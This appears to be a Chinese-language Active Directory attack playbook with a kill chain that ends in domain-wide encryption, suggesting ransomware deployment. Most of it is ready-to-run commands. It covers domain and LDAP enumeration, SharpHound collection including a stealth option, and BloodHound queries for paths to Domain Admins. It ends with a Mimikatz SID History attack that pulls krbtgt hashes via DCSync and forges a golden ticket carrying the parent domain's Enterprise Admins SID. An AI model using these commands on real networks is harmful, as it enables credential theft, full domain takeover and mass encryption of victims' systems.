NTDS.DIT内部结构
├── datatable        -- 存储所有AD对象（用户、计算机、组等）
├── link_table       -- 存储对象间的关系（组成员、ACL等）
├── sd_table         -- 存储安全描述符
├── hidden_table     -- 内部元数据
└── quota_table      -- 存储配额信息

初始访问                    凭据窃取                    横向移动                    域控攻陷                    全域加密
┌──────────┐           ┌──────────┐           ┌──────────┐           ┌──────────┐           ┌──────────┐
│ 钓鱼邮件  │           │ LSASS    │           │ PTH/PTT  │           │ DCSync   │           │ GPO下发  │
│ 漏洞利用  │──────────▶│ 转储     │──────────▶│ PsExec   │──────────▶│ Golden   │──────────▶│ WMI批量  │
│ 供应链    │           │ Kerberoast│           │ WMI      │           │ Ticket   │           │ 计划任务  │
│ RDP暴破   │           │ AS-REP   │           │ RDP      │           │ DSRM     │           │ 脚本分发  │
└──────────┘           └──────────┘           └──────────┘           └──────────┘           └──────────┘

# 检查是否在域环境中
systeminfo | findstr /B /C:\"Domain\"
nltest /dsgetdc:域名
echo %USERDOMAIN%
echo %LOGONSERVER%

# 获取当前用户信息
whoami /all
whoami /groups

# 获取域控制器列表
nltest /dclist:域名
net group \"Domain Controllers\" /domain

# 获取域管理员列表
net group \"Domain Admins\" /domain

# 获取所有域用户
net user /domain

# 获取所有域计算机
net group \"Domain Computers\" /domain

# 使用PowerShell进行LDAP查询

# 查询所有域用户
([ADSI]\"LDAP://CN=Users,DC=domain,DC=com\").Children | Select-Object name, sAMAccountName

# 查询所有启用的用户账户
Get-ADUser -Filter {Enabled -eq $true} -Properties *

# 查询所有具有SPN的账户（Kerberoasting目标）
Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName

# 查询所有域管理员
Get-ADGroupMember \"Domain Admins\" -Recursive

# 查询所有计算机账户
Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate

# 查询域信任关系
Get-ADTrust -Filter *

# 查询GPO信息
Get-GPO -All | Select-Object DisplayName, GpoStatus

# 查询OU结构
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

# 查询具有委派权限的账户
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter {TrustedForDelegation -eq $true}

# 基本采集
SharpHound.exe -c all

# 仅采集特定集合
SharpHound.exe -c Group,LocalAdmin,Session

# 指定域控进行会话采集
SharpHound.exe -c SessionLoop --domaincontroller DC01.domain.com

# 使用指定凭据采集
SharpHound.exe -c all --domain domain.com --ldapusername user --ldappassword pass

# Stealth模式（减少检测风险）
SharpHound.exe -c all --stealth

# 仅收集ACL信息
SharpHound.exe -c ACL

# 收集信任关系
SharpHound.exe -c Trusts

# 收集容器信息
SharpHound.exe -c Container

// 查找从当前用户到Domain Admins的所有路径
MATCH p=shortestPath((u:User {sAMAccountName:\"USERNAME\"})-[*1..]->(g:Group {name:\"DOMAIN [email protected]\"}))
RETURN p

// 查找所有具有DCSync权限的路径
MATCH p=shortestPath((u:User)-[*1..]->(d:Domain))
WHERE u <> d
RETURN p

// 查找所有可以通过Kerberoasting攻击的路径
MATCH (u:User {hasspn:true})
RETURN u

// 查找所有具有本地管理员权限的用户
MATCH (u:User)-[:AdminTo]->(c:Computer)
RETURN u.name, c.name

// 查找所有具有委派权限的计算机
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name

// 查找从某台计算机到域控的路径
MATCH p=shortestPath((c:Computer {name:\"[email protected]\"})-[*1..]->(t:Domain))
RETURN p

攻击前提：攻击者已控制子域的域控
攻击原理：利用SID History属性将父域的Enterprise Admins SID (519)注入到子域用户
攻击结果：子域用户获得父域Enterprise Admins权限

攻击流程：
1. 获取子域域控权限
2. 使用mimikatz提取krbtgt哈希
3. 伪造包含父域Enterprise Admins SID的TGT
4. 使用伪造的TGT访问父域资源

# SID History攻击 - Mimikatz
# 提取子域krbtgt哈希
mimikatz # lsadump::dcsync /domain:child.domain.com /user:child\\krbtgt

# 获取父域krbtgt的SID
mimikatz # lsadump::dcsync /domain:domain.com /user:domain\\krbtgt

# 伪造Golden Ticket并注入SID History
mimikatz # kerberos::golden /user:Administrator /domain:child.domain.com /sid:S-1-5-21-CHILD_DOMAIN_SID /sids:S-1-5-21-PARENT_DOMAIN_SID-519 /krbtgt:HASH /ptt

# 使用setspn枚举SPN
setspn -T domain.com -Q */*